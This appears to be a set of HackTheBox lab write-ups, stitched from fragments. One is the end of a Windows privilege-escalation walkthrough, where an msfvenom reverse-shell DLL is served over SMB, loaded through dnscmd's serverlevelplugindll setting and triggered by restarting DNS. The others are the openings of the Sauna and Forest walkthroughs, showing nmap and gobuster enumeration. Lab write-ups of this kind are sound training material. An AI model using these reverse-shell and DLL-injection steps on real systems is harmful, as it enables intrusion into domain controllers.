NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192
  • Found a note.txt on ryan’s desktop
*Evil-WinRM* PS C:\Users\ryan> type desktop\note.txt
Email to team:

- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.5 LPORT=6666 -f dll > evil.dll   
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
  • Now we need to register dll
    • We could upload it or share it via smb
    • Start impacket-smbserver
    • Then load evil.dll
└─$ impacket-smbserver share $(pwd) -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
*Evil-WinRM* PS C:\Users\ryan> dnscmd.exe localhost /config /serverlevelplugindll \\10.10.16.5\share\evil.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.
  • Next we need restart dns service
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe stop dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 1668
        FLAGS              :
  • If everything is okay, we should receive shell

Hero Image
[HTB] Machine: Sauna

Sauna

Enumeration

  • nmap
└─$ nmap -Pn -sC -sV 10.10.10.175 -T4
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-28 17:36 BST
Nmap scan report for 10.10.10.175 (10.10.10.175)
Host is up (0.11s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-06-28 23:35:53Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m29s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-06-28T23:36:05
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.94 seconds
  • gobuster
└─$ gobuster dir -u http://10.10.10.175 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x asp,aspx  
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.175
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              aspx,asp
[+] Timeout:                 10s
===============================================================
2023/06/28 18:47:01 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 150] [--> http://10.10.10.175/images/]
/Images               (Status: 301) [Size: 150] [--> http://10.10.10.175/Images/]
/css                  (Status: 301) [Size: 147] [--> http://10.10.10.175/css/]
/fonts                (Status: 301) [Size: 149] [--> http://10.10.10.175/fonts/]
/IMAGES               (Status: 301) [Size: 150] [--> http://10.10.10.175/IMAGES/]
/Fonts                (Status: 301) [Size: 149] [--> http://10.10.10.175/Fonts/]
/CSS                  (Status: 301) [Size: 147] [--> http://10.10.10.175/CSS/]
  • smbclient found nothing
└─$ smbclient -N -L //10.10.10.175
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.175 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
  • Web server

Hero Image
[HTB] Machine: Forest

Forest

Enumeration

  • nmap
└─$ nmap -sC -sV -Pn 10.10.10.161 -T4
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-26 16:32 BST
Nmap scan report for 10.10.10.161 (10.10.10.161)
Host is up (0.15s latency).
Not shown: 989 closed tcp ports (conn-refused)
PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2023-06-26 15:39:16Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h26m18s, deviation: 4h02m30s, median: 6m17s
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-06-26T15:39:27
|_  start_date: 2023-06-26T14:24:16
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: 
FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2023-06-26T08:39:24-07:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.94 seconds
  • Dns
    • No results with zone transfer